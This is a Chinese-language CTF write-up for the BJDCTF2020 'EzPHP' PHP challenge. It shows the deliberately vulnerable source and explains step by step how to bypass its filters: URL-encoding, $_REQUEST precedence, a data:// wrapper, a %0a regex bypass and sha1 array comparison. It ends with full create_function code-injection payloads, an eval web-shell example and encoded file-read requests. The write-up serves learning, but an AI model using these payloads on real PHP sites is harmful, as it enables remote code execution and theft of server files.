目录

  • 前言
  • 源码
  • 思路
    • 第一层过滤
    • 第三层过滤
    • 第四层和第二层过滤
    • 第五层
    • 第六层
  • 题解
    • 解法一
    • 解法二
  • 总结

前言

先提一个小坑,$_REQUEST = $_POST+$_GET+$_COOKIE,如果进入页面显示fxck your English letters,删掉cookie就好了.

源码

查看源代码 <!-- 316E4433782E706870 --> HEX解码 1nD3x.php
拿到源码

<?php
highlight_file(__FILE__);error_reporting(0);
$file = "1nD3x.php";
$y1ng = $_GET['y1ng'];
$passwd = $_GET['passwd'];
$arg = '';
$code = '';if($_SERVER) { if (preg_match('/y1ng|zuishuai|flag|YuZhou|Wudi|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING']))  die('fxck your key words!');
}
if (!preg_match('/http/i', $_GET['file'])) {if (preg_match('/^y1ngzuishuai$/', $_GET['zuishuai']) && $_GET['zuishuai'] !== 'y1ngzuishuai') { $file = $_GET["file"]; echo "Yes! You know that I zuishuai!<br>";}
} else die('fxck you! no RFI!!');if($_REQUEST) { foreach($_REQUEST as $value) { if(preg_match('/[a-zA-Z]/i', $value))  die('fxck your English letters'); }
}if (file_get_contents($file) !== 'y1ng_YuZhou_Wudi_zuishuai')die(' Am not I universe wudi zuishuai?<br>');if ( sha1($y1ng) === sha1($passwd) && $y1ng != $passwd ){extract($_GET["flag"]);echo "Very good! you know my password. But what is flag?<br>";
} else{die('fxck you! you dont know password! you dont know sha1! why you come here!');
}if(preg_match('/^[a-z0-9]*$/isD', $code) ||
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log/i', $arg)  ) { die('fxck you! Read my Regular Express1on!');
} else { var_dump($code);var_dump($arg);include "flag.php";$code('', $arg);
}
?>

思路

第一层过滤

先看看第一层过滤

if($_SERVER) { if (preg_match('/y1ng|zuishuai|flag|YuZhou|Wudi|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING']))  die('fxck your key words!');
}

$_SERVER['QUERY_STRING']的值为请求的参数

参考 http://www.360doc.com/content/18/0203/09/52553745_727370869.shtml

但发现第一层把y1ng和passwd过滤掉了,试试url编码,成功绕过
?%79%31%6e%67=1&%70%61%73%73%77%64=1

第三层过滤

if($_REQUEST) { foreach($_REQUEST as $value) { if(preg_match('/[a-zA-Z]/i', $value))  die('fxck your English letters'); }
}

$_REQUEST可以接收GET和POST请求

经过本地测试

<?php
$cmd = $_GET['cmd'];print_r($_REQUEST);
if($_REQUEST) { foreach($_REQUEST as $value) { if(preg_match('/[a-zA-Z]/i', $value))  die('fxck you! I hate English!'); }
}
eval($cmd);
?>

同时传入get和post就能绕过过滤,在$_REQUEST中post优先度更高


post提交 y1ng=1&passwd=1,绕过第三层

第四层和第二层过滤

这时候 Am not I universe wudi zuishuai? 的提示,$file应该在第二层传入

//第二层
if (!preg_match('/http/i', $_GET['file'])) {if (preg_match('/^y1ngzuishuai$/', $_GET['zuishuai']) && $_GET['zuishuai'] !== 'y1ngzuishuai') { $file = $_GET["file"]; echo "Yes! You know that I zuishuai!<br>";}
} else die('fxck you! no RFI!!');
//第四层
if (file_get_contents($file) !== 'y1ng_YuZhou_Wudi_zuishuai')die(' Am not I universe wudi zuishuai?<br>');

先解决第四层的
file_get_contents是读取文件内容,这里可以用data伪协议

data://text/plain,y1ng_YuZhou_Wudi_zuishuai

由于y1ng_YuZhou_Wudi_zuishuai中有被第一层过滤,用url编码

%66%69%6c%65=data://text/plain,%79%31%6e%67%5f%59%75%5a%68%6f%75%5f%57%75%64%69%5f%7a%75%69%73%68%75%61%69

同时post提交file=1

第二层的zuishuai有个正则匹配/^y1ngzuishuai$/从y1ngzuishuai开始,以y1ngzuishuai结尾,可以在结尾加上%0a绕过

zuishuai=y1ngzuishuai%0a
url编码
%7a%75%69%73%68%75%61%69=%79%31%6e%67%7a%75%69%73%68%75%61%69%0a
POST:
zuishuai=1

成功进入第五层

GET:
1nD3x.php?%79%31%6e%67=aaa&%70%61%73%73%77%64=1&%66%69%6c%65=data://text/plain,%79%31%6e%67%5f%59%75%5a%68%6f%75%5f%57%75%64%69%5f%7a%75%69%73%68%75%61%69&%7a%75%69%73%68%75%61%69=%79%31%6e%67%7a%75%69%73%68%75%61%69%0a

POST:
y1ng=1&passwd=1&file=1&zuishuai=1

第五层

if ( sha1($y1ng) === sha1($passwd) && $y1ng != $passwd ){extract($_GET["flag"]);echo "Very good! you know my password. But what is flag?<br>";
} else{die('fxck you! you dont know password! you dont know sha1! why you come here!');
}

===是强类型,绕过sha1很简单,sha1无法处理数组,默认返回false也就是0

y1ng[]=&passwd[]=1

第六层

if(preg_match('/^[a-z0-9]*$/isD', $code) ||
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log/i', $arg)  ) { die('fxck you! Read my Regular Express1on!');
} else { var_dump($code);var_dump($arg);include "flag.php";$code('', $arg);
}

现在我们进入第六层了,但是我们并没有$code$arg的值,应该用extract($_GET["flag"])
extract可以给变量$code$arg赋值

看到$code('', $arg);,可以想到用create_function () 代码注入

$code = “return($a+$b);}eval($_POST[‘kradress’]);//”
$f=create_function('$a, $b', $code);
相当于得到:
function f($a, $b){return $a+$b; } eval($_POST['kradress']);//}

限制了$arg不能直接查看flag,除了过滤的system还有exec等尽管没被过滤却在php.ini被disabled的,不够可以用get_defined_vars()

preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log/i', $arg)  )

$flag[code]=create_function,$flag[arg]=} var_dump(get_defined_vars());//

提示flag在1fl4g.php

题解

解法一

用 require包含1flag.php,记得把1flag.php base64加密,可以绕过过滤. 再用get_defined_vars()输出

?%79%31%6e%67[]=&%70%61%73%73%77%64[]=1111&%66%69%6c%65=data://text/plain,%79%31%6e%67%5f%59%75%5a%68%6f%75%5f%57%75%64%69%5f%7a%75%69%73%68%75%61%69&%7a%75%69%73%68%75%61%69=%79%31%6e%67%7a%75%69%73%68%75%61%69%0a&%66%6c%61%67%5b%63%6f%64%65%5d=create_function&%66%6c%61%67%5b%61%72%67%5d=}%20require(base64_decode(MWZsYWcucGhw));var_dump(get_defined_vars());//
?y1ng[]=&passwd[]=1111&file=data://text/plain,y1ng_YuZhou_Wudi_zuishuai&zuishuai=y1ngzuishuai
&flag[code]=create_function&flag[arg]=} require(base64_decode(MWZsYWcucGhw));var_dump(get_defined_vars());//

post:
file=1&zuishuai=1

解法二

除了base64,还可以用取反和异或去绕过过滤,然后用伪协议去读取源码,可以不用()

}%20require~%8f%97%8f%c5%d0%d0%99%96%93%8b%9a%8d%d0%8d%9a%9e%9b%c2%9c%90%91%89%9a%8d%8b%d1%9d%9e%8c%9a%c9%cb%d2%9a%91%9c%90%9b%9a%d0%8d%9a%8c%90%8a%8d%9c%9a%c2%ce%99%93%9e%98%d1%8f%97%8f;//

php://filter/read=convert.base64-encode/resource=1flag.php

查看页面源代码,base64解码,拿到flag


总结

感觉总体做下来自己收获挺大的,Y1ng师傅也教了我很多很有用的技巧

Y1ng‘s BabyCode相关推荐

  1. buu [BJDCTF 2nd]灵能精通-y1ng

    老规矩,没后缀跟着前面加就是 得到一张图片 看着像是猪圈,就在网上找了找. 这是猪圈加密的变形圣堂武士密码 翻译即可得到flag

  2. buu [BJDCTF 2nd]燕言燕语-y1ng

    查看题目 燕子说79616E7A69205A4A517B78696C7A765F6971737375686F635F73757A6A677D20 明显是16进制,16转文,转换一下. 明显是维吉尼亚密 ...

  3. buu [BJDCTF 2nd]签到-y1ng

    查看题目 见到=直接先试一下base64解密 注意:这里要把根据要求把BJD换成flag,然后提交即可.

  4. outguess秘钥加密--[BJDCTF 2nd]圣火昭昭-y1ng

    刚开始我试了一下 winhex, stegsolve 没看出什么 就点开了图片的详细信息 新佛曰加密这是 gemlovecom 题目说去掉,com--------------gemlove 把geml ...

  5. [BJDCTF 2nd] 燕言燕语-y1ng

    容易看出字符: 79616E7A69205A4A517B78696C7A765F6971737375686F635F73757A6A677D20 为16进制,转换为文本得: yanzi ZJQ{xil ...

  6. [BJDCTF 2nd]燕言燕语-y1ng解析

    打开题目,提供内容有点像16进制,尝试用16进制转字符(16进制在线转换)得到yanzi ZJQ{xilzv_iqssuhoc_suzjg} 是维吉尼亚密码,密钥是yanzi(维吉尼亚解密),解密得f ...

  7. buuoj [BJDCTF 2nd]小姐姐-y1ng

    strings xiaojiejie.jpeg |grep BJD

  8. BUUCTF:[BJDCTF 2nd]圣火昭昭-y1ng

    题目地址:https://buuoj.cn/challenges#[BJDCTF%202nd]%E5%9C%A3%E7%81%AB%E6%98%AD%E6%98%AD-y1ng 新约佛论禅加密 新约佛 ...

  9. [BJDCTF2020]EzPHP 1

    目录 前言 源码 思路 第一层过滤 第三层过滤 第四层和第二层过滤 第五层 第六层过滤 题解 解法一 解法二 总结 前言 这题也来自Y1ng师傅的babycode,刚刚做完babycode,顺便刷一刷 ...

最新文章

  1. java 下载文件功能代码例子
  2. ListView滑动位置精准记忆
  3. zookeeper基础知识整理
  4. 分子排列不同会导致_原子或分子之间的作用力是什么力?
  5. oracle emp数据库或数据误删恢复
  6. 小编带你了解oracle使用索引和不使用索引性能分析
  7. 前端学习(2674):vue3修改
  8. 小程序 web socket_程序员的薪水和发展方向大全
  9. MIKE水动力笔记3_岸线及水深数据之根据遥感影像绘制岸线的方法
  10. TF卡,Micro SD卡,Micro SDHC卡
  11. 服务器上需要高性能显卡吗,英特尔要做独立显卡 只因服务器市场太重要
  12. 【文摘】2008年度_Atom处理器
  13. 【归档】Kata Containers 2.0 介绍
  14. 完全用GNU/Linux工作,摈弃Windows---你我共勉 (转)
  15. 图片工具GraphicsMagick的下载安装配置使用
  16. 总体设计和数据库设计
  17. 多张JPG图片怎么转成一个PDF
  18. 【2023 年第十三届 MathorCup 高校数学建模挑战赛】A 题 量子计算机在信用评分卡组合优化中的应用 42页论文及代码
  19. Retrofit2网络框架的使用
  20. PMSM永磁同步电机滑模控制的直接转矩控制改进算法仿真模型,在传统算法上结合滑模控制算法加以改进

热门文章

  1. MySQL:Innodb DB_ROLL_PTR指针解析
  2. 2-Tenor AF AFT400-实战-Lync Server 2010-集成-2012-01-19
  3. Dos 改动IP 地址
  4. 怎样才不浪费IP的价值?
  5. Java Lambda表达式初探
  6. [置顶]       强大的jquery选择器
  7. 燃烧青春和诗意的IT人生
  8. 服务器IIS无法提供某种扩展名的文件的下载或访问某种类型文件提示http 404 错误时的解决办法...
  9. 多层PCB的叠层板材
  10. Oracle rac进阶管理专家指导系列文档